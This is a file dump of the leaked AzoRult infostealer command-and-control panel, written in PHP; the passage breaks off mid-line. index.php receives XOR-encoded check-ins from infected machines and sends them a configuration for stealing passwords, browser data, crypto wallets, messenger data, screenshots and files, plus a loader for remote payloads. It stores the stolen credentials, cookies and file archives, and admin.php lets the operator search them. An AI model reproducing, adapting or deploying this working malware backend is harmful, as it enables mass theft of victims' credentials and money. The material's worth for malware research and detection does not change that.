├── .htaccess ├── README.md ├── index.php └── panel ├── .htaccess ├── admin.php ├── config.json ├── css ├── menu.css └── style.css ├── files ├── .htaccess └── index.html ├── functions.php ├── guest.php ├── html ├── cookiesconverter.html ├── exporter.html ├── fullpage.html ├── guest.html ├── home.html ├── importantlinks.html ├── login.html ├── menu.html ├── passwords.html ├── reports.html └── serverinfo.html ├── img ├── cfg.png ├── filter_minus.png ├── filter_plus.png ├── flags │ ├── aa.png │ ├── ad.png │ ├── ae.png │ ├── af.png │ ├── ag.png │ ├── ai.png │ ├── al.png │ ├── am.png │ ├── an.png │ ├── ao.png │ ├── ar.png │ ├── as.png │ ├── at.png │ ├── au.png │ ├── aw.png │ ├── ax.png │ ├── az.png │ ├── ba.png │ ├── bb.png │ ├── bd.png │ ├── be.png │ ├── bf.png │ ├── bg.png │ ├── bh.png │ ├── bi.png │ ├── bj.png │ ├── bm.png │ ├── bn.png │ ├── bo.png │ ├── br.png │ ├── bs.png │ ├── bt.png │ ├── bv.png │ ├── bw.png │ ├── by.png │ ├── bz.png │ ├── ca.png │ ├── catalonia.png │ ├── cc.png │ ├── cd.png │ ├── cf.png │ ├── cg.png │ ├── ch.png │ ├── ci.png │ ├── ck.png │ ├── cl.png │ ├── cm.png │ ├── cn.png │ ├── co.png │ ├── cr.png │ ├── cs.png │ ├── cu.png │ ├── cv.png │ ├── cx.png │ ├── cy.png │ ├── cz.png │ ├── de.png │ ├── dj.png │ ├── dk.png │ ├── dm.png │ ├── do.png │ ├── dz.png │ ├── ec.png │ ├── ee.png │ ├── eg.png │ ├── eh.png │ ├── england.png │ ├── er.png │ ├── es.png │ ├── et.png │ ├── eu.png │ ├── europeanunion.png │ ├── fam.png │ ├── fi.png │ ├── fj.png │ ├── fk.png │ ├── fm.png │ ├── fo.png │ ├── fr.png │ ├── ga.png │ ├── gb.png │ ├── gd.png │ ├── ge.png │ ├── gf.png │ ├── gh.png │ ├── gi.png │ ├── gl.png │ ├── gm.png │ ├── gn.png │ ├── gp.png │ ├── gq.png │ ├── gr.png │ ├── gs.png │ ├── gt.png │ ├── gu.png │ ├── gw.png │ ├── gy.png │ ├── hk.png │ ├── hm.png │ ├── hn.png │ ├── hr.png │ ├── ht.png │ ├── hu.png │ ├── id.png │ ├── ie.png │ ├── il.png │ ├── in.png │ ├── io.png │ ├── iq.png │ ├── ir.png │ ├── is.png │ ├── it.png │ ├── jm.png │ ├── jo.png │ ├── jp.png │ ├── ke.png │ ├── kg.png │ ├── kh.png │ ├── ki.png │ ├── km.png │ ├── kn.png │ ├── kp.png │ ├── kr.png │ ├── kw.png │ ├── ky.png │ ├── kz.png │ ├── la.png │ ├── lb.png │ ├── lc.png │ ├── li.png │ ├── lk.png │ ├── lr.png │ ├── ls.png │ ├── lt.png │ ├── lu.png │ ├── lv.png │ ├── ly.png │ ├── ma.png │ ├── mc.png │ ├── md.png │ ├── me.png │ ├── mg.png │ ├── mh.png │ ├── mk.png │ ├── ml.png │ ├── mm.png │ ├── mn.png │ ├── mo.png │ ├── mp.png │ ├── mq.png │ ├── mr.png │ ├── ms.png │ ├── mt.png │ ├── mu.png │ ├── mv.png │ ├── mw.png │ ├── mx.png │ ├── my.png │ ├── mz.png │ ├── na.png │ ├── nc.png │ ├── ne.png │ ├── nf.png │ ├── ng.png │ ├── ni.png │ ├── nl.png │ ├── no.png │ ├── np.png │ ├── nr.png │ ├── nu.png │ ├── nz.png │ ├── om.png │ ├── pa.png │ ├── pe.png │ ├── pf.png │ ├── pg.png │ ├── ph.png │ ├── pk.png │ ├── pl.png │ ├── pm.png │ ├── pn.png │ ├── pr.png │ ├── ps.png │ ├── pt.png │ ├── pw.png │ ├── py.png │ ├── qa.png │ ├── re.png │ ├── ro.png │ ├── rs.png │ ├── ru.png │ ├── rw.png │ ├── sa.png │ ├── sb.png │ ├── sc.png │ ├── scotland.png │ ├── sd.png │ ├── se.png │ ├── sg.png │ ├── sh.png │ ├── si.png │ ├── sj.png │ ├── sk.png │ ├── sl.png │ ├── sm.png │ ├── sn.png │ ├── so.png │ ├── sr.png │ ├── st.png │ ├── sv.png │ ├── sy.png │ ├── sz.png │ ├── tc.png │ ├── td.png │ ├── tf.png │ ├── tg.png │ ├── th.png │ ├── tj.png │ ├── tk.png │ ├── tl.png │ ├── tm.png │ ├── tn.png │ ├── to.png │ ├── tr.png │ ├── tt.png │ ├── tv.png │ ├── tw.png │ ├── tz.png │ ├── ua.png │ ├── ug.png │ ├── um.png │ ├── us.png │ ├── uy.png │ ├── uz.png │ ├── va.png │ ├── vc.png │ ├── ve.png │ ├── vg.png │ ├── vi.png │ ├── vn.png │ ├── vu.png │ ├── wales.png │ ├── wf.png │ ├── ws.png │ ├── ye.png │ ├── yt.png │ ├── za.png │ ├── zm.png │ └── zw.png ├── logo.png ├── softs │ ├── 360Browser.png │ ├── 7Star.png │ ├── Amigo.png │ ├── Brave.png │ ├── Bromium.png │ ├── CentBrowser.png │ ├── Chedot.png │ ├── Chromium.png │ ├── CocCoc.png │ ├── ComodoDragon.png │ ├── Cyberfox.png │ ├── ElementsBrowser.png │ ├── Epic.png │ ├── FileZilla.png │ ├── GoBrowser.png │ ├── GoogleChrome.png │ ├── GoogleChrome64.png │ ├── IceDragon.png │ ├── InternetExplorer.png │ ├── InternetMailRu.png │ ├── Kometa.png │ ├── MicrosoftEdge.png │ ├── MozillaFireFox.png │ ├── Mustang.png │ ├── Nichrome.png │ ├── Opera.png │ ├── Orbitum.png │ ├── Outlook.png │ ├── PaleMoon.png │ ├── Pidgin.png │ ├── Psi.png │ ├── PsiPlus.png │ ├── QIPSurf.png │ ├── RockMelt.png │ ├── SaferBrowser.png │ ├── Sputnik.png │ ├── Suhba.png │ ├── Superbird.png │ ├── ThunderBird.png │ ├── TorBro.png │ ├── Torch.png │ ├── Uran.png │ ├── Vivaldi.png │ ├── Waterfox.png │ ├── WinSCP.png │ └── YandexBrowser.png ├── st.png ├── tool.png └── win │ ├── 10.0.png │ ├── 10.0s.png │ ├── 5.1.png │ ├── 5.2.png │ ├── 5.2s.png │ ├── 6.0.png │ ├── 6.0s.png │ ├── 6.1.png │ ├── 6.1s.png │ ├── 6.2.png │ ├── 6.2s.png │ ├── 6.3.png │ └── 6.3s.png ├── info └── dump.sql ├── js ├── base64.js └── snippets.js ├── links.txt ├── modules ├── bin │ └── bin.bin └── maxmind │ ├── GeoLite2-Country.mmdb │ └── maxmind.php └── phpinfo.php /.htaccess: -------------------------------------------------------------------------------- 1 | Options -Indexes -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # azorult 2 | Leaked AzoRult Panel 3 | 4 | For educational purposes only - Don't be stupid! 5 | -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | =$max) $datalen=$max; 47 | $j=0; 48 | for($i=0;$i<$datalen; $i++){ 49 | $data[$i] = chr(ord($data[$i])^ord($key[$j])); 50 | $j++; 51 | if($j>($keylen-1)) $j=0; 52 | } 53 | return $data; 54 | } 55 | 56 | 57 | function GetISO($ip) 58 | { 59 | if(!filter_var($ip, FILTER_VALIDATE_IP)) { 60 | return "AA"; 61 | } 62 | include PANELPATH."modules/maxmind/maxmind.php"; 63 | $reader = new Reader(PANELPATH.'modules/maxmind/GeoLite2-Country.mmdb'); 64 | $iso = 'AA'; 65 | 66 | try { 67 | $data = $reader->get($ip); 68 | if(isset($data["represented_country"]["iso_code"])) 69 | $iso=$data["represented_country"]["iso_code"]; 70 | 71 | if(isset($data["registered_country"]["iso_code"])) 72 | $iso=$data["registered_country"]["iso_code"]; 73 | 74 | if(isset($data["country"]["iso_code"])) 75 | $iso=$data["country"]["iso_code"]; 76 | } catch (Exception $e) { 77 | $iso = 'AA'; 78 | }; 79 | 80 | if (strlen($iso)!=2) 81 | $iso = "AA"; 82 | $reader->close(); 83 | //unset($reader); 84 | return $iso; 85 | } 86 | 87 | 88 | 89 | function GetWork($mid){ 90 | include PANELPATH."functions.php"; 91 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect'); 92 | mysqli_set_charset($link, 'utf8' ); 93 | $query = sprintf("SELECT COUNT(*) FROM reports WHERE reports.m_id='%s'", 94 | mysqli_real_escape_string($link, $mid)); 95 | $res = mysqli_query($link, $query) or die('Query error'); 96 | 97 | $row = mysqli_fetch_row($res); 98 | 99 | $count = $row[0]; 100 | $repeated_reports = true; 101 | 102 | $JSONstr = FileToString(PANELPATH."config.json"); 103 | $obj=json_decode($JSONstr); 104 | 105 | 106 | $CFGstr = ""; 107 | 108 | $CFGstr .= ($obj->isDouble) ? '+' : '-'; 109 | $CFGstr .= ($obj->isSavedPasswords) ? '+' : '-'; 110 | $CFGstr .= ($obj->isBrowserData) ? '+' : '-'; 111 | $CFGstr .= ($obj->isWallets) ? '+' : '-'; 112 | $CFGstr .= ($obj->isSkype) ? '+' : '-'; 113 | $CFGstr .= ($obj->isTelegram) ? '+' : '-'; 114 | $CFGstr .= ($obj->isSteam) ? '+' : '-'; 115 | $CFGstr .= ($obj->isScreenshot) ? '+' : '-'; 116 | $CFGstr .= ($obj->isDelete) ? '+' : '-'; 117 | $CFGstr .= ($obj->isBrowserHistory) ? '+' : '-'; 118 | $CFGstr .= "\r\n"; 119 | foreach($obj->files as $val){ 120 | $CFGstr .= "F".chr(9); 121 | $CFGstr .= base64_decode($val->fgName).chr(9); 122 | $CFGstr .= base64_decode($val->fgPath).chr(9); 123 | $CFGstr .= base64_decode($val->fgMask).chr(9); 124 | $CFGstr .= base64_decode($val->fgMaxsize).chr(9); 125 | $CFGstr .= ($val->fgSubfolders) ? '+' : '-'; $CFGstr .= chr(9); 126 | $CFGstr .= ($val->fgShortcuts) ? '+' : '-'; $CFGstr .= chr(9); 127 | 128 | $tmp = base64_decode($val->fgExceptions); 129 | $tmp = str_replace("\r\n", "|", $tmp); 130 | $tmp = str_replace("\n", "|", $tmp); 131 | $tmp = str_replace("||", "|", $tmp); 132 | $CFGstr .= $tmp; 133 | 134 | $CFGstr .= "\r\n"; 135 | } 136 | 137 | 138 | foreach($obj->loader as $val){ 139 | $CFGstr .= "L".chr(9); 140 | $CFGstr .= base64_decode($val->ldLink).chr(9); 141 | $CFGstr .= ($val->ldHide) ? '+' : '-'; $CFGstr .= chr(9); 142 | $CFGstr .= base64_decode($val->ldTags); 143 | $CFGstr .= "\r\n"; 144 | } 145 | 146 | 147 | $get_ip_api = GET_IP_API; 148 | 149 | if ($get_ip_api == false){ 150 | $IP = getUserIP(); 151 | $CO = GetISO($IP); 152 | $CFGstr .= "I".chr(9).$IP.":".$CO."\r\n"; 153 | } 154 | 155 | if ($get_ip_api == true){ 156 | $CFGstr .= "I".chr(9)."?".chr(9)."reserved"."\r\n"; 157 | } 158 | 159 | 160 | 161 | 162 | 163 | $repeated_reports = $obj->isDouble; 164 | $res = true; 165 | if(($repeated_reports == false) and ($count>0)) 166 | $res=false; 167 | $ret = "exit"; 168 | 169 | if($res==true){ 170 | $config = base64_encode($CFGstr); 171 | $ret = "$config".FileToString(PANELPATH."modules/bin/bin.bin"); 172 | } 173 | mysqli_close($link); 174 | return $ret; 175 | }; 176 | 177 | 178 | 179 | 180 | function ParseReport($data){ 181 | include PANELPATH."functions.php"; 182 | 183 | $unical_guid = "DV8CF101-053A-4498-98VA-EAB3719A088W-VF9A8B7AD-0FA0-4899-B4RD-D8006738DQCD"; 184 | $info = (pars($data, "", "")); 185 | $pwds = (pars($data, "", "")); 186 | $coks = (pars($data, "", "")); 187 | $file = (pars($data, "", "")); 188 | $list = (pars($data, "", "")); 189 | 190 | 191 | $IP = getUserIP(); 192 | 193 | 194 | $info = explode('|', $info); 195 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect'); 196 | 197 | mysqli_set_charset($link, 'utf8' ); 198 | 199 | 200 | $isocode = GetISO($IP); 201 | 202 | if (@$isocode == "") $isocode = "AA"; 203 | 204 | $IPAPI = (pars($data, "", "")); 205 | if (strlen($IPAPI)>1){ 206 | 207 | $tIP = explode(':', $IPAPI)[0]; 208 | $tCO = explode(':', $IPAPI)[1]; 209 | 210 | if (strlen($tIP)>1) $IP = $tIP; 211 | if (strlen($tCO)>1) $isocode = $tCO; 212 | }; 213 | $data=""; 214 | 215 | $filename = $isocode."-".date("Y-m-d H-i-s").str_replace(array(".","/","\\"), "",urldecode($info[0]))."-v32.zip"; 216 | WriteToFile(PANELPATH."/files/$filename", $file); 217 | $query = sprintf("INSERT INTO reports (m_id,ip,country,date,time,compname,username,os_name,os_arch,os_ver,files_count, btc_count, cc_count,passwords_count,bin_type,bin_rights,filename) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')", 218 | mysqli_real_escape_string($link, urldecode($info[0])), 219 | mysqli_real_escape_string($link, $IP), 220 | mysqli_real_escape_string($link, $isocode), 221 | mysqli_real_escape_string($link, date("Y-m-d")), 222 | mysqli_real_escape_string($link, date("H:i:s")), 223 | mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[4]))), 224 | mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[5]))), //user 225 | mysqli_real_escape_string($link, iconv("cp1251", "utf-8", urldecode($info[2]))), 226 | mysqli_real_escape_string($link, urldecode($info[3])), 227 | mysqli_real_escape_string($link, urldecode($info[1])), 228 | 229 | mysqli_real_escape_string($link, urldecode($info[9])), 230 | mysqli_real_escape_string($link, urldecode($info[7])), 231 | mysqli_real_escape_string($link, urldecode($info[8])), 232 | mysqli_real_escape_string($link, urldecode($info[6])), 233 | 234 | mysqli_real_escape_string($link, urldecode($info[10])), 235 | mysqli_real_escape_string($link, urldecode($info[11])), 236 | mysqli_real_escape_string($link, $filename)); 237 | 238 | $res = mysqli_query($link,$query) or die('Query error'); 239 | $r_id= mysqli_insert_id($link); 240 | 241 | $pwdlist = explode("\r\n", $pwds); 242 | 243 | $query = 'INSERT INTO `passwords` (p_soft_type, p_soft_name,r_id, p_p1, p_p2, p_p3, p_p4) VALUES '; 244 | foreach ($pwdlist as &$value) { 245 | $line = explode("|",$value); 246 | $soft_type = mysqli_real_escape_string($link, urldecode(@$line[0])); 247 | $soft_name = mysqli_real_escape_string($link, urldecode(@$line[1])); 248 | $p1 = mysqli_real_escape_string($link, urldecode(@$line[2])); 249 | $p2 = mysqli_real_escape_string($link, urldecode(@$line[3])); 250 | $p3 = mysqli_real_escape_string($link, urldecode(@$line[4])); 251 | $p4 = mysqli_real_escape_string($link, urldecode(@$line[5])); 252 | if(strlen($soft_type)>0) 253 | $query .= "('$soft_type', '$soft_name','$r_id', '$p1', '$p2', '$p3', '$p4'),"; 254 | 255 | } 256 | $query = substr($query, 0, -1); 257 | $result = mysqli_query($link, $query); 258 | 259 | //$result = mysqli_query($link, "INSERT INTO `passwords` (p_soft_type, p_soft_name,r_id, p_p1, p_p2, p_p3, p_p4) VALUES ('$soft_type', '$soft_name','$r_id', '$p1', '$p2', '$p3', '$p4')"); 260 | 261 | $query = 'INSERT INTO `cookies`(domain, r_id) VALUES '; 262 | $cookielist = explode("\r\n", $coks); 263 | foreach ($cookielist as $host) { 264 | $query .= sprintf("('%s', '$r_id'),", mysqli_real_escape_string($link, urldecode($host)))."\r\n"; 265 | 266 | } 267 | $query = substr($query, 0, -3); 268 | $result = mysqli_query($link, $query); 269 | mysqli_close($link); 270 | 271 | 272 | 273 | }; 274 | 275 | 276 | 277 | $xorkey = chr(13).chr(10).chr(200); 278 | $postdata = file_get_contents("php://input"); 279 | 280 | $postdata = CB_XORm($postdata, $xorkey, 1024*512); 281 | if(strncmp("<", $postdata, 1)==0){ 282 | echo "OK"; 283 | ParseReport($postdata); 284 | die(); 285 | }; 286 | 287 | 288 | if(strncmp("G", $postdata, 1)==0){ 289 | $work=GetWork(urldecode(substr($postdata,1))); 290 | $work=CB_XORm($work, $xorkey, 1024*512); 291 | echo $work; 292 | }; 293 | 294 | 295 | ?> -------------------------------------------------------------------------------- /panel/.htaccess: -------------------------------------------------------------------------------- 1 | Options -Indexes -------------------------------------------------------------------------------- /panel/admin.php: -------------------------------------------------------------------------------- 1 | $value){ 40 | $result[$i][$key2] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); 41 | 42 | } 43 | } 44 | 45 | return $result; 46 | }; 47 | 48 | 49 | function SetConfig(){ 50 | if (isset($_POST['cfg'])){ 51 | $JSONstr = urldecode($_POST['cfg']); 52 | WriteToFile("config.json", $JSONstr); 53 | } 54 | 55 | }; 56 | 57 | function ExecSQL($query){ 58 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME); 59 | if (!$link) { 60 | echo "DB error." . PHP_EOL; 61 | echo "Code errno: " . mysqli_connect_errno() . PHP_EOL; 62 | echo "Text error: " . mysqli_connect_error() . PHP_EOL; 63 | die(); 64 | exit; 65 | } 66 | 67 | mysqli_set_charset($link, 'utf8' ); 68 | $res = mysqli_query($link,$query); 69 | mysqli_close($link); 70 | }; 71 | 72 | function LoadPageSkeleton(){ 73 | global $HTML; 74 | global $CSRF_TOKEN; 75 | $HTML = FileToString("./html/fullpage.html"); 76 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML); 77 | }; 78 | 79 | function ShowMenu(){ 80 | global $HTML; 81 | global $PAGE; 82 | $menu = FileToString('./html/menu.html'); 83 | if($PAGE == "home") $menu=str_replace("%1%", "class='active has-sub'", $menu); 84 | if($PAGE == "reports") $menu=str_replace("%2%", "class='active has-sub'", $menu); 85 | if($PAGE == "passwords") $menu=str_replace("%3%", "class='active has-sub'", $menu); 86 | if($PAGE == "cookiesconverter") $menu=str_replace("%4%", "class='active has-sub'", $menu); 87 | if($PAGE == "importantlinks") $menu=str_replace("%5%", "class='active has-sub'", $menu); 88 | if($PAGE == "exporter") $menu=str_replace("%6%", "class='active has-sub'", $menu); 89 | $HTML = str_replace("%MENU%",$menu, $HTML); 90 | }; 91 | 92 | function ShowImportantLinksPage(){ 93 | global $HTML; 94 | global $CSRF_TOKEN; 95 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/importantlinks.html'), $HTML); 96 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML); 97 | $HTML = str_replace("%links_data%", htmlspecialchars(FileToString('./links.txt'), ENT_QUOTES, 'UTF-8'), $HTML); 98 | }; 99 | 100 | function ShowHomePage(){ 101 | global $HTML; 102 | global $CSRF_TOKEN; 103 | $page=FileToString('./html/home.html'); 104 | $tables=''; 105 | $div="
"; 106 | 107 | 108 | $c_all = SQLToArray("SELECT COUNT(*) AS c FROM reports")[0]['c']; 109 | 110 | 111 | $c_today = SQLToArray("SELECT COUNT(*) AS c FROM reports 112 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1) AND DAY(reports.date) = DAY(NOW())")[0]['c']; 113 | 114 | $c_week = SQLToArray("SELECT COUNT(*) AS c FROM reports 115 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1)")[0]['c']; 116 | 117 | 118 | $c_month = SQLToArray("SELECT COUNT(*) AS c FROM reports 119 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW())")[0]['c']; 120 | 121 | $c_stat = array( 122 | array('All', $c_all), 123 | array('Today', $c_today), 124 | array('Week', $c_week), 125 | array('Month', $c_month), 126 | ); 127 | 128 | $tables .=$div."Reports count".build_table($c_stat, 129 | array('', ''), 130 | "stat-table", 131 | array(' ', ' '), 132 | 'reportsgrid' 133 | )."
"; 134 | 135 | $tmp = SQLToArray("SELECT country, COUNT(*) AS CountRec, 136 | COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 137 | FROM reports 138 | GROUP BY `country` 139 | ORDER BY CountRec DESC"); 140 | for($i=0; $i ".$tmp[$i]['country']; 142 | } 143 | $tables .=$div."Country stats".build_table($tmp, 144 | array('Country', 'count', '%'), 145 | "stat-table", 146 | array(' ', ' ', ' '), 147 | 'reportsgrid' 148 | ).""; 149 | 150 | 151 | 152 | $tables .=$div."Arch stats".build_table(SQLToArray(" SELECT `os_arch`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 153 | FROM reports 154 | GROUP BY `os_arch` 155 | ORDER BY CountRec DESC"), 156 | array('Arch', 'count', '%'), 157 | "stat-table", 158 | array(' ', ' ', ' '), 159 | 'reportsgrid' 160 | ).""; 161 | 162 | $tmp = SQLToArray("SELECT `os_ver`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 163 | FROM reports 164 | GROUP BY `os_ver` 165 | ORDER BY CountRec DESC"); 166 | for($i=0; $i ".$tmp[$i]['os_ver']; 168 | } 169 | 170 | $tables .=$div."OS stats".build_table($tmp, 171 | array('OS', 'count', '%'), 172 | "stat-table", 173 | array(' ', ' ', ' '), 174 | 'reportsgrid' 175 | ).""; 176 | 177 | $tables .=$div."Rights stats".build_table(SQLToArray(" SELECT `bin_rights`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 178 | FROM reports 179 | GROUP BY `bin_rights` 180 | ORDER BY CountRec DESC"), 181 | array('Rights', 'count', '%'), 182 | "stat-table", 183 | array(' ', ' ', ' '), 184 | 'reportsgrid' 185 | ).""; 186 | 187 | $tables .=$div."Binary type stats".build_table(SQLToArray(" SELECT `bin_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent 188 | FROM reports 189 | GROUP BY `bin_type` 190 | ORDER BY CountRec DESC"), 191 | array('Type', 'count', '%'), 192 | "stat-table", 193 | array(' ', ' ', ' '), 194 | 'reportsgrid' 195 | ).""; 196 | 197 | $arr = SQLToArray(" SELECT `p_soft_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent 198 | FROM passwords 199 | GROUP BY `p_soft_type` 200 | ORDER BY CountRec DESC"); 201 | for ($i=0; $i"; 214 | $tmp = SQLToArray(" SELECT p_soft_name, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent 215 | FROM passwords 216 | GROUP BY `p_soft_name` 217 | ORDER BY CountRec DESC"); 218 | for($i=0; $i ".$tmp[$i]['p_soft_name']; 220 | } 221 | $tables .=$div."Software stats".build_table($tmp, 222 | array('Soft', 'count', '%'), 223 | "stat-table", 224 | array(' ', ' ', ' '), 225 | 'reportsgrid' 226 | ).""; 227 | 228 | $page=str_replace("%STATS%", $tables, $page); 229 | 230 | 231 | 232 | $config = FileToString('./config.json'); 233 | $page = str_replace("%JSONstr%", base64_encode($config), $page); 234 | 235 | 236 | $HTML = str_replace("%PADE_DATA%", $page, $HTML); 237 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML); 238 | }; 239 | 240 | function ShowReportsPage(){ 241 | foreach ($_GET as $value) { 242 | if (is_array($value)) die(); 243 | } 244 | global $HTML; 245 | 246 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME); 247 | $query="SELECT concat(reports.date, ' ',reports.time), 248 | concat(reports.country, ' ',reports.ip) AS country_ip, 249 | concat(reports.compname, '(',reports.username,')') AS comp_user, 250 | concat(reports.os_ver, '||',reports.os_name, '(',os_arch,')') AS windows, 251 | reports.m_id AS m_id, 252 | reports.r_id, 253 | reports.comment, 254 | concat(reports.passwords_count, ' | ', reports.btc_count,' | ',reports.cc_count,' | ',reports.files_count), 255 | concat(reports.bin_type, '|', reports.bin_rights) AS bin, 256 | concat(reports.filename) AS filename 257 | FROM reports "; 258 | if(isset($_GET['cookiesearch'])) if(($_GET['cookiesearch'])!='')$query.=" JOIN cookies ON reports.r_id = cookies.r_id "; 259 | if(isset($_GET['inc_il'])) if ($_GET['inc_il']=="1") $query .=" JOIN passwords ON reports.r_id = passwords.r_id "; 260 | $query.=" WHERE 1=1 "; 261 | 262 | if(isset($_GET['datefrom'])) if(($_GET['datefrom'])!='') { 263 | $query .= " AND reports.date>='".mysqli_real_escape_string($link, $_GET['datefrom'])."'"; 264 | 265 | 266 | }; 267 | if(isset($_GET['dateup'])) if(($_GET['dateup'])!='') $query .= " AND reports.date<='".mysqli_real_escape_string($link, $_GET['dateup'])."'"; 268 | if(isset($_GET['search'])) if(strlen($_GET['search'])>0) $query .= " AND LOCATE('".mysqli_real_escape_string($link, $_GET['search'])."', concat_ws('|', reports.country, reports.ip, reports.compname,reports.username,reports.os_name,reports.comment))"; 269 | 270 | if(isset($_GET['countries'])) 271 | if(strlen($_GET['countries'])>0) 272 | $query .= " AND LOCATE(reports.country, '".mysqli_real_escape_string($link, $_GET['countries'])."' ) "; 273 | 274 | if(isset($_GET['cookiesearch'])) if(($_GET['cookiesearch'])!='') 275 | //$query .= " AND (LOCATE('".$_GET['cookiesearch']."', cookies.domain) AND reports.r_id = cookies.r_id) "; 276 | $query .=" AND LOCATE('".mysqli_real_escape_string($link, $_GET['cookiesearch'])."', cookies.domain)"; 277 | if(isset($_GET['inc_btc'])) if ($_GET['inc_btc']=="1") $query .=" AND reports.btc_count>0"; 278 | if(isset($_GET['inc_cc'])) if ($_GET['inc_cc']=="1") $query .=" AND reports.cc_count>0"; 279 | if(!isset($_GET['status'])) $query .=" AND reports.trashed=0"; 280 | if(isset($_GET['status'])) if ($_GET['status']=="0") $query .=" AND reports.trashed=0"; 281 | if(isset($_GET['status'])) if ($_GET['status']=="1") $query .=" AND reports.trashed=1"; 282 | 283 | 284 | if(isset($_GET['inc_il'])) if ($_GET['inc_il']=="1") 285 | { 286 | $query .= " AND ( "; 287 | $links = explode("\r\n", FileToString("./links.txt")); 288 | foreach ($links as $key => $value) { 289 | //echo $value; 290 | $query .= "(passwords.p_p1 LIKE '".mysqli_real_escape_string($link, $value)."') OR"; 291 | } 292 | 293 | $query = substr($query,0,-2); 294 | $query .= " ) "; 295 | } 296 | 297 | $query .=" GROUP BY reports.r_id"; 298 | $query .=" ORDER BY concat(reports.date, ' ',reports.time) DESC"; 299 | mysqli_close($link); 300 | 301 | 302 | //$query .=" LIMIT 28,5"; 303 | //die($query); 304 | 305 | /* 306 | $isTryInject = false; 307 | foreach ($_GET as $value) { 308 | if (strripos($value, "'") !== false) 309 | $isTryInject = true; 310 | } 311 | if (!$isTryInject)*/ 312 | //echo $query; 313 | 314 | 315 | $report = SQLToArray($query); 316 | 317 | $report=array_values($report);/**/ 318 | 319 | 320 | for($i=0; $i$value){ 323 | $report[$i][$key2] = antixss($value); 324 | 325 | } 326 | */ 327 | $actionscode=" 328 | 329 | "; 330 | $actionscode=sprintf($actionscode, 331 | $report[$i]["r_id"], 332 | $report[$i]["filename"], 333 | human_filesize(@filesize("./files/".$report[$i]["filename"]), 1), 334 | 'deleteRow(this); sendPost("action=DeleteReport&r_id='.$report[$i]["r_id"].'"); ' 335 | ); 336 | $report[$i]["filename"]=$actionscode; 337 | $country_ip=explode(' ', strtolower($report[$i]["country_ip"])); 338 | $report[$i]["country_ip"]="".strtoupper($country_ip[0])." | $country_ip[1]"; 339 | 340 | 341 | $windows=explode('||', $report[$i]["windows"]); 342 | $report[$i]["windows"]=" ".$windows[1]; 343 | 344 | 345 | $report[$i]["bin"].=' '; 346 | $report[$i]["comment"]=sprintf("Comment', 'pwd|btc|cc|files', 'T|R', 'Actions'), 359 | "reports-table", 360 | array(' ', ' ', ' ', ' ', ' ', ' ',' ', ' style="width: 20%"',' style="width: 7%"', ' align="right" width="1%" nowrap',' align="right" width="1%" nowrap'), 361 | 'reportsgrid' 362 | ); 363 | 364 | 365 | 366 | $templ = FileToString('./html/reports.html'); 367 | $templ = str_replace("%count%", 368 | count($report), 369 | $templ); 370 | 371 | $HTML = str_replace("%PADE_DATA%", 372 | $templ.$reportstable, 373 | $HTML); 374 | 375 | }; 376 | 377 | function ShowPasswordsPage(){ 378 | foreach ($_GET as $value) { 379 | if (is_array($value)) die(); 380 | 381 | } 382 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME); 383 | $query="SELECT passwords.p_soft_name, 384 | passwords.p_p1, 385 | passwords.p_p2, 386 | passwords.p_p3, 387 | passwords.r_id 388 | FROM passwords, reports 389 | WHERE reports.r_id=passwords.r_id AND passwords.p_soft_name<>'' 390 | "; 391 | if(isset($_GET['search'])) if(strlen($_GET['search'])>0) $query .= " AND LOCATE('".mysqli_real_escape_string($link, $_GET['search'])."', concat_ws('|', passwords.p_soft_name, passwords.p_p1, passwords.p_p2,passwords.p_p3,passwords.r_id))"; 392 | if(isset($_GET['datefrom'])) if(($_GET['datefrom'])!='') $query .= " AND reports.date>='".mysqli_real_escape_string($link, $_GET['datefrom'])."'"; 393 | 394 | if(isset($_GET['dateup'])) if(($_GET['dateup'])!='') $query .= " AND reports.date<='".mysqli_real_escape_string($link, $_GET['dateup'])."'"; 395 | if(isset($_GET['soft_type1'])) {if ($_GET['soft_type1']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>1"; 396 | if(isset($_GET['soft_type2'])) {if ($_GET['soft_type2']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>2"; 397 | if(isset($_GET['soft_type3'])) {if ($_GET['soft_type3']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>3"; 398 | if(isset($_GET['soft_type4'])) {if ($_GET['soft_type4']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>4"; 399 | if(isset($_GET['r_id'])) {if (($_GET['r_id']<>"") and 